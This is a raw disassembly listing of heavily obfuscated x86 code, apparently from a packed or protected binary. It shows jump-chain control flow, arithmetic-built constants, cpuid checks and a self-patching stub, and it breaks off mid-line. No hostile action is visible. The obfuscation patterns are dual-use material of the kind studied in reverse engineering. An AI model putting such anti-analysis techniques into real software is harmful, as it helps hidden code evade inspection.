loc_423F35 cmp ebx, edx jmp loc_4277CA ; --------------------------------------------------------------------------- loc_423264: ; DATA XREF: sub_42CA29:loc_426DFAo pop ecx xchg ecx, [esp] mov ebp, ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42326C proc near ; CODE XREF: _0182ofla:0042303Aj ; sub_426571-F69p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424685 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004247A7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426075 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426BB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A3DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ADB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B6EB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042CAA0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D28B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E063 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E41E SIZE 0000001E BYTES jno sub_428A08 push ebp mov ebp, esp jmp loc_424685 sub_42326C endp ; --------------------------------------------------------------------------- mov ebp, 830A16B9h or edx, ebp jmp sub_42CAC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_423286: ; CODE XREF: sub_42798F+3838j mov [ebx], edi jmp loc_42C36B ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42328D: ; CODE XREF: sub_424184+578Dj jnz loc_42D2A4 loc_423293: ; CODE XREF: sub_424184:loc_42418Fj mov eax, 400h call sub_42D70E push edx push 64E461F0h pop edx jmp loc_42B8E4 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- pop edx jmp sub_42771F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_4232AF: ; CODE XREF: sub_428F0F:loc_42711Ej push eax push offset sub_4290FD jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_428F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_4232BA: ; CODE XREF: sub_425B6E+4591j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp xchg ecx, [esp-18h+arg_10] mov ebp, ecx pop ecx jmp loc_42E8CD ; END OF FUNCTION CHUNK FOR sub_425B6E ; =============== S U B R O U T I N E ======================================= sub_4232CD proc near ; CODE XREF: sub_428EF6+Ep ; _0182ofla:0042B2A4j ; FUNCTION CHUNK AT 00427234 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] push offset sub_423CEA jmp loc_427234 sub_4232CD endp ; --------------------------------------------------------------------------- pushf mov [esp], eax ror eax, 19h mov ds:dword_42E8D4, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_4232EC: ; CODE XREF: sub_426020+737Ej rol eax, 19h push eax jmp loc_4278D6 ; END OF FUNCTION CHUNK FOR sub_426020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_4232F5: ; CODE XREF: sub_425B6E:loc_427A97j xchg esi, [eax] jmp loc_42331C ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- loc_4232FC: ; DATA XREF: sub_429071-114Do add eax, 0E302046Eh xchg eax, [esp] jmp locret_42C196 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push offset sub_423114 jmp locret_424761 ; --------------------------------------------------------------------------- cmp edi, esi jmp loc_4242F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42331C: ; CODE XREF: sub_425B6E-2877j sub edx, 905946BFh loc_423322: ; CODE XREF: sub_42798F:loc_42B264j push 0C6B14A97h pop eax or eax, 8CC4314Ch jmp loc_42755A ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- loc_423333: ; CODE XREF: _0182ofla:loc_429D06j jnz loc_428908 jmp loc_424A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E668 loc_42333E: ; CODE XREF: sub_42E668:loc_42B28Ej ; _0182ofla:0042B817j add eax, eax cdq add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] call sub_42D8FF xchg ebx, [esi] jmp sub_42AB9B ; END OF FUNCTION CHUNK FOR sub_42E668 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_42335B: ; CODE XREF: sub_429BEC:loc_425264j call sub_4294FE ; END OF FUNCTION CHUNK FOR sub_429BEC ; =============== S U B R O U T I N E ======================================= sub_423360 proc near ; CODE XREF: _0182ofla:004250C4j ; _0182ofla:00425399p mov [esp+0], ecx sub_423360 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42380D loc_423363: ; CODE XREF: sub_42380D+980Bj pop ecx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax jmp loc_42B09D ; END OF FUNCTION CHUNK FOR sub_42380D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_423372: ; CODE XREF: sub_427942+5BADj jmp loc_42CD2C ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_423377: ; CODE XREF: sub_428D63+2B24j jmp loc_428BB4 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42337C: ; CODE XREF: sub_428F20:loc_42B8DAj pop eax add eax, 25B947B9h cpuid cmp eax, 80000000h jbe loc_42D629 jmp loc_42B2AF ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_423395 proc near ; CODE XREF: _0182ofla:00428C98j ; sub_429C1A+44F7p ; FUNCTION CHUNK AT 0042432B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425076 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427AF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D65 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427DF5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9F2 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042AFFF SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042B103 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042B4E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C44D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D239 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D409 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D46C SIZE 00000005 BYTES mov [esp+0], edi loc_423398: ; CODE XREF: sub_42DE3A:loc_42E0D6j pop edi call sub_42C197 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_42A9F2 jmp loc_42D46C sub_423395 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_4233B0: ; CODE XREF: sub_42B3C2:loc_42DF3Cj shr esi, 1 jp loc_42C48E adc ebp, edi jmp loc_42ADD2 ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_4233BF: ; CODE XREF: sub_42B15E:loc_428FBCj pop ebx pop edx pop ebp jmp loc_4283D7 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_425EB9 ; --------------------------------------------------------------------------- loc_4233CF: ; DATA XREF: _0182ofla:00427FF7o rol edx, 5 mov [ebp-4], edx cmp dword ptr [ebp-8], 0 jbe loc_428923 jmp loc_424D5F ; --------------------------------------------------------------------------- loc_4233E4: ; DATA XREF: sub_425A3C:loc_4242BAo xchg ecx, [esp] jmp loc_42A2E0 ; =============== S U B R O U T I N E ======================================= sub_4233EC proc near ; CODE XREF: sub_42A915+Cp ; _0182ofla:0042E22Aj ; FUNCTION CHUNK AT 0042B22D SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx mov ecx, [ecx] push ebx jmp loc_42B22D sub_4233EC endp ; =============== S U B R O U T I N E ======================================= sub_4233F8 proc near ; DATA XREF: _0182ofla:004294D5o var_4 = dword ptr -4 push esi push 0F540BB44h pop esi add esi, 0B0231C7h xchg esi, [esp+4+var_4] jmp loc_4286D4 sub_4233F8 endp ; =============== S U B R O U T I N E ======================================= sub_42340D proc near ; CODE XREF: _0182ofla:004269ADj ; sub_42DD2A-566Dp ; FUNCTION CHUNK AT 004250A0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00427264 SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx and ecx, 7 mov eax, 1 shl eax, cl mov edx, [ebp-20h] jmp loc_4250A0 sub_42340D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_423423: ; CODE XREF: sub_423A2A:loc_42850Bj mov edx, 3CC6743Ch call sub_42D71D push eax ror eax, 0Bh jmp loc_42B7BB ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_423436: ; CODE XREF: _0182ofla:004268CEj ; _0182ofla:loc_429F1Cj push esi push offset sub_42C9E6 jmp loc_428515 ; --------------------------------------------------------------------------- xchg edi, edx jmp sub_426240 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_423448: ; CODE XREF: sub_425BF8:loc_42CA88j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_42AE31 mov edx, [ebx+ecx] push offset sub_428FED jmp loc_4266F2 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; =============== S U B R O U T I N E ======================================= sub_423461 proc near ; DATA XREF: sub_42380D+19Bo ; FUNCTION CHUNK AT 0042743A SIZE 0000000B BYTES add edx, 565F8EAh test eax, edx pop edx jz loc_42743A mov eax, 63h call sub_4265C0 jmp loc_427682 sub_423461 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_42384B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test esi, 17B6283Dh jmp loc_42389B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_423490: ; CODE XREF: sub_42AB3E:loc_42B073j jz loc_42C25A jmp loc_42A3C2 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; =============== S U B R O U T I N E ======================================= sub_42349B proc near ; CODE XREF: sub_42EAB7:loc_426B77p ; _0182ofla:00429255j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423A9A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424D52 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425535 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042668B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004296A6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042A3AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CD09 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D0C8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D9FE SIZE 0000000F BYTES mov [esp+0], edx pop edx cmp dword ptr [ebp-1Ch], 66h jnz loc_42D9FE mov eax, 6 jmp loc_42D0C8 sub_42349B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294FE loc_4234B3: ; CODE XREF: sub_4294FE+Aj sub ebx, 0E8A6DE43h rol ebx, 0Bh add ebx, 0DC847CAAh add ebx, ecx add ebx, 65CFBECCh jmp loc_42ABE4 ; END OF FUNCTION CHUNK FOR sub_4294FE ; --------------------------------------------------------------------------- loc_4234CF: ; CODE XREF: _0182ofla:loc_42936Bj push ecx push 0BC6BE5CCh pop ecx or ecx, 0B540CA09h rol ecx, 11h add ecx, 20A72F1Bh jmp loc_424C12 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_4234EB: ; CODE XREF: sub_42D833+E10j jmp loc_425E2D ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- loc_4234F0: ; CODE XREF: _0182ofla:00426E2Dj jnp loc_425CA5 jl loc_427CF5 loc_4234FC: ; CODE XREF: _0182ofla:loc_42B3D8j push offset loc_4258D7 jmp loc_4272B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D553 loc_423506: ; CODE XREF: sub_42D553+Aj call sub_423704 loc_42350B: ; CODE XREF: sub_427259+7A8Bj jmp loc_4246E8 ; END OF FUNCTION CHUNK FOR sub_42D553 ; --------------------------------------------------------------------------- loc_423510: ; CODE XREF: _0182ofla:0042AD76j jmp loc_4296C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_423515: ; CODE XREF: sub_423A2A+4107j jmp loc_42B67E ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_42351A: ; CODE XREF: sub_425629+9726j js loc_424E69 loc_423520: ; CODE XREF: sub_425629:loc_42C59Dj and edx, 8A64B57Bh jns loc_423EDE test edx, esi jmp loc_423ECA ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_423533: ; CODE XREF: sub_42B15E-207Ej jge loc_42DCD8 adc edx, 0B21E5936h loc_42353F: ; CODE XREF: sub_42B15E:loc_42749Bj call sub_42E2B3 loc_423544: ; CODE XREF: _0182ofla:0042C636j jmp loc_423D6A ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_423549: ; CODE XREF: _0182ofla:loc_42AD98j jz loc_42ED80 jmp loc_42A209 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_423554: ; CODE XREF: sub_42E43C:loc_426C5Aj ; sub_4253F4+92FAj jl loc_429A30 jnz loc_4236A5 jmp loc_4259A3 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1F0 loc_423565: ; CODE XREF: sub_42E1F0+8j ror eax, 7 mov ds:dword_424C04, eax retn ; END OF FUNCTION CHUNK FOR sub_42E1F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42356F: ; CODE XREF: sub_428F20+22CEj jmp loc_42C147 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- loc_423574: ; CODE XREF: _0182ofla:0042ACE8j jmp loc_42C42D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AE0 loc_423579: ; CODE XREF: sub_429AE0+Ej jmp loc_42A7EE ; END OF FUNCTION CHUNK FOR sub_429AE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283EF loc_42357E: ; CODE XREF: sub_4283EF+Fj jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_4283EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CDE loc_423583: ; CODE XREF: sub_427CDE+11j rol eax, 7 push eax call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_427CDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_42358D: ; CODE XREF: sub_423FE2+58F6j jmp loc_42E09E ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- loc_423592: ; DATA XREF: sub_427797:loc_427281o xchg ebx, [esp] jmp sub_428D17 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C197 loc_42359B: ; CODE XREF: sub_42C197+7j jmp loc_42D1D0 ; END OF FUNCTION CHUNK FOR sub_42C197 ; =============== S U B R O U T I N E ======================================= sub_4235A0 proc near ; CODE XREF: _0182ofla:00425250p ; _0182ofla:00426C09p mov eax, offset dword_425780 push edx sub_4235A0 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4235A6: ; CODE XREF: sub_423A2A+49E0j push 0A274EE68h pop edx rol edx, 3 jmp loc_42E07F ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_4235B4: ; DATA XREF: sub_428F20-29DCo xchg ecx, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_4235B8: ; CODE XREF: sub_4249FA+B1Bj jmp loc_429C74 ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- push offset loc_423E9C jmp locret_428C62 ; =============== S U B R O U T I N E ======================================= sub_4235C7 proc near ; CODE XREF: _0182ofla:0042A9A7j ; sub_42CA29+6p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424624 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428B83 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B391 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042EA93 SIZE 0000001A BYTES mov [esp+0], edi pop edi push ecx mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp jmp loc_42EA93 sub_4235C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_4235D8: ; CODE XREF: sub_42AB3E:loc_42A3C2j adc edx, ebp jge loc_42CA90 shl eax, 12h xchg ebx, ecx jmp loc_42C25A ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- loc_4235EA: ; CODE XREF: _0182ofla:00425867j jz loc_4248F3 ; START OF FUNCTION CHUNK FOR sub_426A7F loc_4235F0: ; CODE XREF: sub_426A7F:loc_426A87j xor eax, 341684DBh add eax, 76D7F2B2h xchg eax, [esp+0] jmp loc_426753 ; END OF FUNCTION CHUNK FOR sub_426A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C55 loc_423604: ; CODE XREF: sub_425C55-1F70j pop ebx jmp loc_428577 ; END OF FUNCTION CHUNK FOR sub_425C55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42360A: ; CODE XREF: sub_428729+422Dj jp loc_42A390 adc esi, 2A717FDFh jmp loc_42AE8A ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFE6369h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ebp, esp jnb loc_42D4F4 add esp, 0FFFFFFCCh lea eax, nullsub_2 mov byte ptr [eax], 0C3h jmp loc_426D4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_42363A: ; CODE XREF: sub_42966F:loc_42E419j xchg eax, ebx jmp loc_42CF54 ; END OF FUNCTION CHUNK FOR sub_42966F ; --------------------------------------------------------------------------- ja loc_427062 push 0C6586833h ; =============== S U B R O U T I N E ======================================= sub_42364C proc near ; CODE XREF: sub_42660C+8D5p arg_0 = dword ptr 4 mov [esp+0], eax pop eax xchg esi, [esp-4+arg_0] jmp sub_428D17 sub_42364C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E585 loc_423658: ; CODE XREF: sub_42E585:loc_42E592j xchg ecx, edi shl esi, 5 adc ecx, ebp push edi jmp loc_427EA9 ; END OF FUNCTION CHUNK FOR sub_42E585 ; --------------------------------------------------------------------------- loc_423665: ; CODE XREF: _0182ofla:loc_426446j mov dword ptr [ecx], offset loc_4266A1 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_42366F: ; CODE XREF: sub_426319:loc_4265BBj pop eax pop ecx pop ebx pop edx jmp loc_42EBBC ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D02D loc_423678: ; CODE XREF: sub_42D02D:loc_426F22j sbb edi, 95A4AAB8h jmp loc_4278F0 ; END OF FUNCTION CHUNK FOR sub_42D02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_423683: ; CODE XREF: sub_4267F8+5j mov eax, [esp+0] push edx call sub_428041 loc_42368C: ; CODE XREF: sub_4267F8+5C18j jmp loc_4293FD ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_423691: ; CODE XREF: sub_42E218-397Bj jmp loc_42DBE9 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_423696: ; CODE XREF: sub_4253F4+8D42j and edx, 0FFFFDDFFh xor [esi], edx mov eax, 80000000h cpuid loc_4236A5: ; CODE XREF: sub_4253F4-1E9Aj cmp eax, 80000000h jbe loc_42D629 jmp loc_427CCB ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_4236B5: ; CODE XREF: _0182ofla:0042477Fj jge loc_42A884 ; START OF FUNCTION CHUNK FOR sub_42D056 loc_4236BB: ; CODE XREF: sub_42D056+1C75j jmp loc_423A52 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290FD loc_4236C0: ; CODE XREF: sub_4290FD+Fj jmp loc_42E0EC ; END OF FUNCTION CHUNK FOR sub_4290FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B70 loc_4236C5: ; CODE XREF: sub_424B70+11j jmp loc_42835F ; END OF FUNCTION CHUNK FOR sub_424B70 ; --------------------------------------------------------------------------- popf jmp loc_42A87C ; --------------------------------------------------------------------------- loc_4236D0: ; CODE XREF: _0182ofla:004272DDj call sub_4283BB ; START OF FUNCTION CHUNK FOR sub_42C870 loc_4236D5: ; CODE XREF: sub_42C870+Cj jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_42C870 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429038 loc_4236DA: ; CODE XREF: sub_429038:loc_42B722j call sub_4265C0 jmp loc_42DB50 ; END OF FUNCTION CHUNK FOR sub_429038 ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 jmp loc_425FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4236F0: ; CODE XREF: sub_42798F-2337j ; _0182ofla:004258CCj ... mov eax, [ebp-10h] loc_4236F3: ; CODE XREF: sub_42A760:loc_42A8BDj push eax call sub_4271D2 jmp loc_42A7D0 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_4236FE: ; CODE XREF: _0182ofla:0042534Fj ja loc_4249F3 ; =============== S U B R O U T I N E ======================================= sub_423704 proc near ; CODE XREF: sub_42D553:loc_423506p ; FUNCTION CHUNK AT 00427F2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EDAF SIZE 00000015 BYTES mov [esp+0], ecx pop ecx mov edx, [ebp+8] mov [edx-18h], eax inc dword ptr [ebp-4] jmp loc_427F2D sub_423704 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423716 proc near ; DATA XREF: sub_42E689-1D1Co call sub_424CD8 retn sub_423716 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_425499:loc_4259D4p ; sub_425499+545p ... push offset sub_42D833 jmp nullsub_12 sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_423726 proc near ; CODE XREF: sub_42719D+BE0p ; _0182ofla:0042C34Cj ; FUNCTION CHUNK AT 00427078 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042AF83 SIZE 00000010 BYTES xchg esi, [esp+0] pop esi lea eax, loc_42707C push edi push 507B7591h pop edi or edi, 0E45DEBFFh add edi, 2FB0E539h jmp loc_42AF83 sub_423726 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_423748: ; CODE XREF: sub_42C1B2-7A56j jnz loc_42D27C jmp loc_425681 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- loc_423753: ; CODE XREF: _0182ofla:0042842Fj ja loc_42D8FD add edi, 17B350ECh cdq sub esi, 833E3D87h jmp loc_429EC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42376B: ; CODE XREF: sub_428A39:loc_425269j ; sub_428A39-37B4j or eax, 4255DA2Eh add eax, 0BDA02095h xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax jmp loc_42E11B ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_423786: ; CODE XREF: sub_4265C0:loc_42B223j mov esi, ecx xchg esi, [esp+8+var_8] mov [ebp-4], eax push edx push 0DBC1F2BFh jmp loc_428F41 ; END OF FUNCTION CHUNK FOR sub_4265C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_423799: ; CODE XREF: sub_4295D6:loc_42DEBAj push ecx mov esp, ebp xchg ebx, [esp+4+var_4] mov ebp, ebx pop ebx push 0FC7B8706h jmp loc_424FBD ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_4237AC: ; CODE XREF: sub_423FCD+879Ej jl loc_42E61A rol ebx, 18h jmp loc_42C2AE ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_4237BA: ; CODE XREF: sub_42B15E+1Dj pop eax sub eax, 3A5402E3h and eax, ds:4000F3h call sub_42A364 loc_4237CC: ; CODE XREF: sub_427CDE+6F9Ej jl loc_429770 adc ecx, esi ror edi, 0Ch cmp eax, 0FFA2CAC5h jmp loc_42D16E ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_4237E2: ; CODE XREF: _0182ofla:0042B1D1j sbb ecx, 445C0846h and ebx, esi loc_4237EA: ; CODE XREF: _0182ofla:loc_42C186j mov eax, 0E1h call sub_4265C0 jmp loc_4277AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_4237F9: ; CODE XREF: sub_4291BA-1B98j mov edx, 43A8AC5Ch ; END OF FUNCTION CHUNK FOR sub_4291BA ; START OF FUNCTION CHUNK FOR sub_429E52 loc_4237FE: ; CODE XREF: sub_429E52:loc_429F79j call sub_42D71D call sub_42AA33 jmp loc_42613E ; END OF FUNCTION CHUNK FOR sub_429E52 ; =============== S U B R O U T I N E ======================================= sub_42380D proc near ; CODE XREF: _0182ofla:004289C5j ; sub_429DCF+Ap ; FUNCTION CHUNK AT 00423363 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004239A1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425E21 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426450 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427AFE SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00427F69 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042886B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428A55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428CA7 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 004291B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A7FD SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042B09D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042C274 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CEC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D012 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042D150 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D204 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx mov eax, [eax] test eax, 70h jz loc_428CAC jmp loc_42CEC1 sub_42380D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_423823: ; CODE XREF: sub_42B15E-6508j rol ecx, 0Eh xchg edi, [esp+0] mov eax, edi pop edi pop ecx jmp loc_428FBC ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_423832: ; CODE XREF: _0182ofla:0042997Ej jl loc_427C87 mov ebx, edx pop edx jmp loc_427049 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. 